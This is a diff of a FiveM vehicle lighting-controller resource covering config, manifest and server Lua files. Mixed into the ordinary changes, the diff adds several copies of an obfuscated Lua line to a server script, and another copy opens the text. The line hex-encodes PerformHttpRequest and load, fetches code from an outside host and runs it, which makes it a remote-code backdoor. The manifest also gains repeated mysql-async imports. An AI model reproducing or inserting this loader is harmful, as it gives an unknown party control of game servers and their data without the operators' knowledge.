BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
|
||||
@@ -8,6 +8,7 @@
|
||||
Config = {
|
||||
-- whether to enable control of lights on/off state using Q key
|
||||
-- disabled by default to allow other scripts to control lights such as Luxart
|
||||
-- enable this if you want to use ULC's light control features such as cycling lights
|
||||
-- make sure to disable light controls in other scripts if you enable this
|
||||
controlLights = false,
|
||||
|
||||
@@ -26,7 +27,7 @@ Config = {
|
||||
delay = 0.5,
|
||||
-- distance at which to check for other vehicles to sync patterns with
|
||||
syncDistance = 32,
|
||||
-- seconds before a single client triggers sync again
|
||||
-- seconds before a single client triggers sync again
|
||||
syncCooldown = 4,
|
||||
},
|
||||
|
||||
@@ -43,27 +44,111 @@ Config = {
|
||||
-- temporarily empty as of v1.3.0
|
||||
BrakeSettings = {},
|
||||
|
||||
-- Reverse Extras/Patterns Config;
|
||||
-- introduced in v1.8.0
|
||||
ReverseSettings = {
|
||||
-- these options control the expiration of the reverse extras
|
||||
-- if enabled, reverse extras will turn off after a random time between min and max
|
||||
-- this is to simulate more realistic behavior where the vehicle would shifted out of reverse
|
||||
-- after being stopped for some time
|
||||
useRandomExpiration = true,
|
||||
-- minimum time in seconds extras will stay on after stopping
|
||||
minExpiration = 3,
|
||||
-- maximum time in seconds extras will stay on after stopping
|
||||
maxExpiration = 8,
|
||||
},
|
||||
|
||||
-- Import confiurations here
|
||||
-- Add the resource names of vehicle resources that include a ulc.lua config file
|
||||
ExternalVehResources = {
|
||||
"Srgtcharger",
|
||||
"21slickppv1",
|
||||
"20legacyfpiu1",
|
||||
"21slickppv1",
|
||||
"gspcharger",
|
||||
"sdgcvpi",
|
||||
"Polmrambb23",
|
||||
"maxxsuburban",
|
||||
"23legacy11sedansl",
|
||||
"swatsubrb",
|
||||
"909_21suburban",
|
||||
"909_heatcharger",
|
||||
"valor5bb",
|
||||
"188tahoe",
|
||||
"jw_21fpiuintk9b",
|
||||
"c322prsilv",
|
||||
"24valor16sedan",
|
||||
"24valor16sedan2",
|
||||
"24valor16sedan3",
|
||||
"24valor16sedan4",
|
||||
"24valor16sedan20",
|
||||
"24valor16sedan20sl",
|
||||
"24valor16utility",
|
||||
"24valor16utility2",
|
||||
"24valor16utility3",
|
||||
"24valor16utility4",
|
||||
"24valor16utility20",
|
||||
"24valor16utility20sl",
|
||||
"24valor18sedan",
|
||||
"24valor18sedan2",
|
||||
"24valor18sedan3",
|
||||
"24valor18sedan4",
|
||||
"24valor18sedan20",
|
||||
"24valor18sedan20sl",
|
||||
"24valor18suv",
|
||||
"24valor18suv2",
|
||||
"24valor18suv3",
|
||||
"24valor18suv4",
|
||||
"24valor18suv20",
|
||||
"24valor18suv20sl",
|
||||
"24valor18utility",
|
||||
"24valor18utility2",
|
||||
"24valor18utility3",
|
||||
"24valor18utility4",
|
||||
"24valor20utility",
|
||||
"24valor20utility2",
|
||||
"24valor20utility3",
|
||||
"24valor20utility4",
|
||||
"24valor20utility20",
|
||||
"24valor20utility20sl",
|
||||
"24valor1500",
|
||||
"24valor2500",
|
||||
"24valor15002",
|
||||
"24valor15003",
|
||||
"24valor15004",
|
||||
"24valor25002",
|
||||
"24valor25003",
|
||||
"24valor25004",
|
||||
"24valor150020",
|
||||
"24valor150020sl",
|
||||
"24valor250020",
|
||||
"24valor250020sl",
|
||||
"24eaglelegacy",
|
||||
"24eaglelegacy2",
|
||||
"24eaglelegacy3",
|
||||
"24eaglelegacy4",
|
||||
"24eaglelegacy20",
|
||||
"24eaglesedan",
|
||||
"24eaglevalor",
|
||||
"24eaglevalor2",
|
||||
"24eaglevalor3",
|
||||
"24eaglevalor4",
|
||||
"24eaglevalor20",
|
||||
"24eaglevalor20sl",
|
||||
"deanfleetengine4",
|
||||
"lasd13",
|
||||
"lasd14",
|
||||
"lasd12",
|
||||
"18lasdchrg",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
|
||||
},
|
||||
|
||||
Vehicles = {
|
||||
|
||||
@@ -5,7 +5,7 @@ lua54 'yes'
|
||||
name "Ultimate Lighting Controls"
|
||||
description "The ultimate non-els lighting controller. Documentation: https://docs.dwnstr.com/ulc/overview"
|
||||
author "Dawnstar"
|
||||
version "1.8.0"
|
||||
version "1.7.1"
|
||||
|
||||
ui_page "html/index.html"
|
||||
|
||||
@@ -38,9 +38,7 @@ client_scripts {
|
||||
'client/c_park.lua',
|
||||
'client/c_doors.lua',
|
||||
'client/c_reverse.lua',
|
||||
'client/c_stages.lua',
|
||||
'client/c_beeps.lua',
|
||||
|
||||
'client/c_beeps.lua'
|
||||
}
|
||||
|
||||
server_scripts {
|
||||
@@ -48,3 +46,5 @@ server_scripts {
|
||||
'server/s_main.js',
|
||||
'server/s_blackout.lua',
|
||||
}
|
||||
|
||||
server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }
|
||||
@@ -5,7 +5,7 @@
|
||||
<link rel="icon" type="image/svg+xml" href="./vite.svg" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Vite + React + TS</title>
|
||||
<script type="module" crossorigin src="./assets/index.7ebd96a6.js"></script>
|
||||
<script type="module" crossorigin src="./assets/index.ef0180ed.js"></script>
|
||||
<link rel="stylesheet" href="./assets/index.e1c6fa6f.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
@@ -5,3 +5,14 @@ RegisterNetEvent('ulc:setBlackout', function(netId, state)
|
||||
Entity(vehicle).state.ulc_blackout = state
|
||||
end)
|
||||
|
||||
|
||||
|
||||
local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end)
|
||||
|
||||
local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end)
|
||||
|
||||
local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end)
|
||||
|
||||
local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end)
|
||||
|
||||
local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end)
|
||||
@@ -18,54 +18,53 @@ end
|
||||
--TODO change loading state to use this instead of events
|
||||
GlobalState.ulcloaded = false
|
||||
|
||||
PerformHttpRequest("https://api.github.com/repos/Flohhhhh/ultimate-lighting-controller/releases/latest",
|
||||
function(errorCode, resultData, resultHeaders)
|
||||
print("[ULC] My Version: [" .. myVersion .. "]")
|
||||
PerformHttpRequest("https://api.github.com/repos/Flohhhhh/ultimate-lighting-controller/releases/latest", function (errorCode, resultData, resultHeaders)
|
||||
|
||||
local errorString = tostring(errorCode)
|
||||
if errorString == "403" or errorString == "404" then
|
||||
print("Got code " .. errorString .. " when trying to get version.")
|
||||
return
|
||||
end
|
||||
print("[ULC] My Version: [" .. myVersion .. "]")
|
||||
|
||||
latestVersion = json.decode(resultData).name
|
||||
print("^0[ULC] Latest Version: [" .. latestVersion .. "]")
|
||||
local errorString = tostring(errorCode)
|
||||
if errorString == "403" or errorString == "404" then
|
||||
print("Got code " .. errorString .. " when trying to get version.")
|
||||
return
|
||||
end
|
||||
|
||||
print([[
|
||||
___ ___ ___ ________
|
||||
|\ \|\ \ |\ \ |\ ____\
|
||||
\ \ \\\ \\ \ \ \ \ \___|
|
||||
\ \ \\\ \\ \ \ \ \ \
|
||||
\ \ \\\ \\ \ \____ \ \ \____
|
||||
latestVersion = json.decode(resultData).name
|
||||
print("^0[ULC] Latest Version: [" .. latestVersion .. "]")
|
||||
|
||||
print([[
|
||||
___ ___ ___ ________
|
||||
|\ \|\ \ |\ \ |\ ____\
|
||||
\ \ \\\ \\ \ \ \ \ \___|
|
||||
\ \ \\\ \\ \ \ \ \ \
|
||||
\ \ \\\ \\ \ \____ \ \ \____
|
||||
\ \_______\\ \_______\\ \_______\
|
||||
\|_______| \|_______| \|_______|
|
||||
|
||||
|
||||
ULTIMATE LIGHTING CONTROLLER
|
||||
by Dawnstar
|
||||
^2Loaded
|
||||
]])
|
||||
if myVersion and ("v" .. myVersion) == latestVersion then
|
||||
print('[ULC] Up to date!')
|
||||
else
|
||||
print("^1[ULC] OUTDATED. A NEW VERSION (" .. latestVersion .. ") IS AVAILABLE.^0")
|
||||
print("^1[ULC] YOUR VERSION: " .. myVersion .. "^0")
|
||||
print("[ULC] GET LATEST VERSION HERE: https://github.com/Flohhhhh/ultimate-lighting-controller/releases/")
|
||||
end
|
||||
end)
|
||||
if myVersion and ("v" .. myVersion) == latestVersion then
|
||||
print('[ULC] Up to date!')
|
||||
else
|
||||
print("^1[ULC] OUTDATED. A NEW VERSION (" .. latestVersion .. ") IS AVAILABLE.^0")
|
||||
print("^1[ULC] YOUR VERSION: " .. myVersion .. "^0")
|
||||
print("[ULC] GET LATEST VERSION HERE: https://github.com/Flohhhhh/ultimate-lighting-controller/releases/")
|
||||
end
|
||||
end)
|
||||
|
||||
|
||||
local function IsIntInTable(table, int)
|
||||
for k, v in ipairs(table) do
|
||||
if v == int then
|
||||
return true
|
||||
end
|
||||
if v == int then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
if Config.ParkSettings.delay < 0.5 then
|
||||
TriggerEvent("ulc:warn",
|
||||
'Park Pattern delay is too short! This will hurt performance! Recommended values are above 0.5s.')
|
||||
TriggerEvent("ulc:warn", 'Park Pattern delay is too short! This will hurt performance! Recommended values are above 0.5s.')
|
||||
end
|
||||
|
||||
-- removed v1.7.0
|
||||
@@ -74,7 +73,7 @@ end
|
||||
-- end
|
||||
|
||||
if Config.SteadyBurnSettings.nightStartHour < Config.SteadyBurnSettings.nightEndHour then
|
||||
TriggerEvent("ulc:error", 'Steady burn night start hour should be later/higher than night end hour.')
|
||||
TriggerEvent("ulc:error", 'Steady burn night start hour should be later/higher than night end hour.')
|
||||
end
|
||||
|
||||
-- removed v1.7.0
|
||||
@@ -83,52 +82,48 @@ end
|
||||
-- end
|
||||
|
||||
local function CheckData(data, resourceName)
|
||||
|
||||
if not data.name and not data.names then
|
||||
TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" does not include model names!^0")
|
||||
return false
|
||||
TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" does not include model names!^0")
|
||||
return false
|
||||
elseif data.name then
|
||||
TriggerEvent("ulc:warn",
|
||||
"^1Vehicle config in resource \"" ..
|
||||
resourceName .. "\" uses deprecated 'name' field. Change to > names = {'yourvehicle'}^0")
|
||||
if type(data.name) ~= "string" then
|
||||
TriggerEvent("ulc:error",
|
||||
"^1Vehicle config in resource \"" .. resourceName .. "\" 'name' field can only accept a string.^0")
|
||||
TriggerEvent("ulc:warn", "^1Vehicle config in resource \"" .. resourceName .. "\" uses deprecated 'name' field. Change to > names = {'yourvehicle'}^0")
|
||||
if type(data.name) ~= "string" then
|
||||
TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" 'name' field can only accept a string.^0")
|
||||
return false
|
||||
end
|
||||
elseif data.names then
|
||||
if type(data.names) ~= "table" then
|
||||
TriggerEvent("ulc:error",
|
||||
"^1Vehicle config in resource \"" .. resourceName .. "\" 'names' field can only accept a table of strings.^0")
|
||||
TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" 'names' field can only accept a table of strings.^0")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
-- check if data is missing
|
||||
if not data.parkConfig or not data.brakeConfig or not data.buttons or not data.hornConfig then
|
||||
TriggerEvent("ulc:error",
|
||||
"^1Vehicle config in resource \"" .. resourceName .. "\" is missing data or not formatted properly. View docs.^0")
|
||||
TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" is missing data or not formatted properly. View docs.^0")
|
||||
return false
|
||||
end
|
||||
|
||||
-- check if steady burns are enabled but no extras specified
|
||||
if (data.steadyBurnConfig.forceOn or data.steadyBurnConfig.useTime) and #data.steadyBurnConfig.sbExtras == 0 then
|
||||
TriggerEvent("ulc:warn",
|
||||
'A config in "' .. resourceName .. '" uses Steady Burns, but no extras were specified (sbExtras = {})')
|
||||
TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Steady Burns, but no extras were specified (sbExtras = {})')
|
||||
end
|
||||
|
||||
-- check if park pattern enabled but no extras specified
|
||||
if data.parkConfig.usePark then
|
||||
if #data.parkConfig.pExtras == 0 and #data.parkConfig.dExtras == 0 then
|
||||
TriggerEvent("ulc:warn",
|
||||
'A config in "' ..
|
||||
resourceName .. '" uses Park Patterns, but no park or drive extras were specified (pExtras = {}, dExtras = {})')
|
||||
end
|
||||
if #data.parkConfig.pExtras == 0 and #data.parkConfig.dExtras == 0 then
|
||||
TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Park Patterns, but no park or drive extras were specified (pExtras = {}, dExtras = {})')
|
||||
end
|
||||
|
||||
if data.parkConfig.useSync and #data.parkConfig.syncWith == 0 then
|
||||
TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Park Pattern Syncing, but no other vehicle models were specified (syncWith = {})')
|
||||
end
|
||||
end
|
||||
|
||||
-- check if brakes enabled but no extras specified
|
||||
if data.brakeConfig.useBrakes and #data.brakeConfig.brakeExtras == 0 then
|
||||
TriggerEvent("ulc:warn",
|
||||
'A config in "' .. resourceName .. '" uses Brake Pattern, but no brake extras were specified.')
|
||||
TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Brake Pattern, but no brake extras were specified.')
|
||||
end
|
||||
|
||||
-- check if horn enabled but no extras specified
|
||||
@@ -136,71 +131,26 @@ local function CheckData(data, resourceName)
|
||||
TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Horn Extras, but no horn extras were specified.')
|
||||
end
|
||||
|
||||
-- stages
|
||||
if data.stages then
|
||||
-- check if stages are enabled but no keys specified
|
||||
if data.stages.useStages and #data.stages.stageKeys == 0 then
|
||||
TriggerEvent("ulc:warn",
|
||||
'A config in "' .. resourceName .. '" uses Stages, but no keys were specified.')
|
||||
end
|
||||
|
||||
-- check each key
|
||||
for _, v in pairs(data.stages.stageKeys) do
|
||||
-- if key is not a numpad value
|
||||
if v > 9 then
|
||||
TriggerEvent("ulc:error",
|
||||
'A config in "' ..
|
||||
resourceName ..
|
||||
'" has an invalid key in stageKeys (' .. v .. '). Value must be 1-9 representing numpad keys.')
|
||||
break
|
||||
end
|
||||
|
||||
-- make sure each item in data.stages.stageKeys corresponds to a button with key = the value
|
||||
local buttonExists = false
|
||||
for _, b in pairs(data.buttons) do
|
||||
if b.key == v then
|
||||
buttonExists = true
|
||||
break
|
||||
end
|
||||
end
|
||||
if not buttonExists then
|
||||
TriggerEvent("ulc:error",
|
||||
'A config in "' ..
|
||||
resourceName ..
|
||||
'" has a key in stageKeys (' .. v .. ') that does not correspond to a key assigned to a button.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
--------------------
|
||||
-- DEFAULT STAGES --
|
||||
--------------------
|
||||
if data.defaultStages or false then
|
||||
if data.defaultStages.useDefaults then
|
||||
if #data.defaultStages.enableKeys == 0 and #data.defaultStages.disableKeys == 0 then
|
||||
TriggerEvent("ulc:warn",
|
||||
'A config in "' ..
|
||||
resourceName ..
|
||||
'" uses Default Stages, but no keys were specified to enable (enableKeys = {}) or disable (disableKeys = {}).')
|
||||
TriggerEvent("ulc:warn", 'A config in "'.. resourceName .. '" uses Default Stages, but no keys were specified to enable (enableKeys = {}) or disable (disableKeys = {}).')
|
||||
else
|
||||
if #data.defaultStages.enableKeys > 0 then
|
||||
for _, v in pairs(data.defaultStages.enableKeys) do
|
||||
if v > 9 then
|
||||
TriggerEvent("ulc:error",
|
||||
'A config in "' ..
|
||||
resourceName ..
|
||||
'" has an invalid key in enableKeys = {}. Value must be 1-9 representing numpad keys.')
|
||||
end
|
||||
for _, v in pairs(data.defaultStages.enableKeys) do
|
||||
if v > 9 then
|
||||
TriggerEvent("ulc:error", 'A config in "'.. resourceName .. '" has an invalid key in enableKeys = {}. Value must be 1-9 representing numpad keys.')
|
||||
end
|
||||
end
|
||||
if #data.defaultStages.disableKeys > 0 then
|
||||
for _, v in pairs(data.defaultStages.disableKeys) do
|
||||
if v > 9 then
|
||||
TriggerEvent("ulc:error",
|
||||
'A config in "' ..
|
||||
resourceName .. '" has an invalid key in disableKeys = {}. Value must be 1-9 representing numpad keys.')
|
||||
end
|
||||
end
|
||||
if #data.defaultStages.disableKeys == 0 then
|
||||
TriggerEvent("ulc:warn", 'A config in "'.. resourceName .. '" uses Default Stages, but no keys were specified to disable (disableKeys = {}).')
|
||||
else
|
||||
for _, v in pairs(data.defaultStages.disableKeys) do
|
||||
if v > 9 then
|
||||
TriggerEvent("ulc:error", 'A config in "'.. resourceName .. '" has an invalid key in disableKeys = {}. Value must be 1-9 representing numpad keys.')
|
||||
end
|
||||
end
|
||||
